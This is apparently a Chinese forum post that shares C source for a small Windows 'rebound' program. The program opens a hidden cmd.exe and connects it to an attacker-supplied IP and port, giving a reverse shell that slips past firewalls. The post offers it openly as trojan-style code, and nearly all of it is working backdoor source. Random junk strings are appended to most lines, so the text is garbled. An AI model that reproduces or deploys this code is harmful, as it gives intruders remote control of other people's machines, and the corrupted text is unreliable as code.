这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /<
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/* ============================== ;la(Q~#
Rebound port in Windows NT G W|~sE +
By wind,2006/7 NFU 5+X-c
===============================*/ LIirOf~e;!
#include qmv%N
#include 9.D'!
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#pragma comment(lib,"wsock32.lib") cZ%weQa#N)
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void OutputShell(); *siS4RX2
SOCKET sClient; |*i0h`a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7`|$uIM`
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void main(int argc,char **argv) *|a_(bQ4@
{ yA
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WSADATA stWsaData; a
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int nRet; pRc@0^G
SOCKADDR_IN stSaiClient,stSaiServer; $IUT5Gia`
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if(argc != 3) O-}{%)[ F
{ d7N}-nsB
printf("Useage:\n\rRebound DestIP DestPort\n"); b P4R
return; ]k
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} i|)<#Ywl
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WSAStartup(MAKEWORD(2,2),&stWsaData); '8}*erAg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <p-R{}8
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stSaiClient.sin_family = AF_INET; `N]!-=o
stSaiClient.sin_port = htons(0); u-f_,],p
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^CDQ75tR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Gt2NUGU
{ Qf6Vj,~N
printf("Bind Socket Failed!\n"); gle_~es'K
return; CES^
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} 7=aF-;X3jj
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stSaiServer.sin_family = AF_INET; XjuAVNY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [wj&.I{^s
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (6L[eWuTn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fnN"a Z
{ gp$oQh#37;
printf("Connect Error!"); wtu WzHrF
return; Z455g/=ye
} $NWXn,Y'
OutputShell(); N3!x7J7A
} Y?{L:4cRX
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void OutputShell() F)z]QJOw
{ KtG|m'\D
char szBuff[1024]; Uw8O"}U8
SECURITY_ATTRIBUTES stSecurityAttributes; 5<0&y3
OSVERSIONINFO stOsversionInfo; t"cGv32b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PeEC|&x
STARTUPINFO stStartupInfo; qfd/t<?|D
char *szShell; hl(M0cxEWP
PROCESS_INFORMATION stProcessInformation; 4. 7m*
unsigned long lBytesRead; kXFgvIpg<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /EZF5_`bT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BA4qQCS;5
stSecurityAttributes.lpSecurityDescriptor = 0; ps\A\aggML
stSecurityAttributes.bInheritHandle = TRUE; _?x*F?5=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n,!PyJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 82nQ]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AcqsXBKd
stStartupInfo.wShowWindow = SW_HIDE; O(2)A>}
stStartupInfo.hStdInput = hReadPipe; jjN]*{s
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _DnZ=&=MA
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GetVersionEx(&stOsversionInfo); #2<.0@@
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switch(stOsversionInfo.dwPlatformId) 3xj
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{ JL5
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case 1: C_mPw
szShell = "command.com"; a/A$
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break; v9QR,b`n
default: pTT7#b(t
szShell = "cmd.exe"; 9 +k7x,
break; %JF.m$-
} !B5 }`*1D
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]a F,r"
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send(sClient,szMsg,77,0); T PEg>[
while(1) }pxMO? h$
{ e <2?O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `O4Ysk72x9
if(lBytesRead) TUuw
{ ZV=O oLt,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E%@,n9T~"
send(sClient,szBuff,lBytesRead,0); dtD)VNkBZ
} e"Kg/*Ji1
else `a2%U/U
{ .aTu]i3l_
lBytesRead=recv(sClient,szBuff,1024,0); E&ou(Q={
if(lBytesRead<=0) break; @0H}U$l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1AiqB Rs
}
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} Y7g^ ?6
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return; Jn!-Wa,
}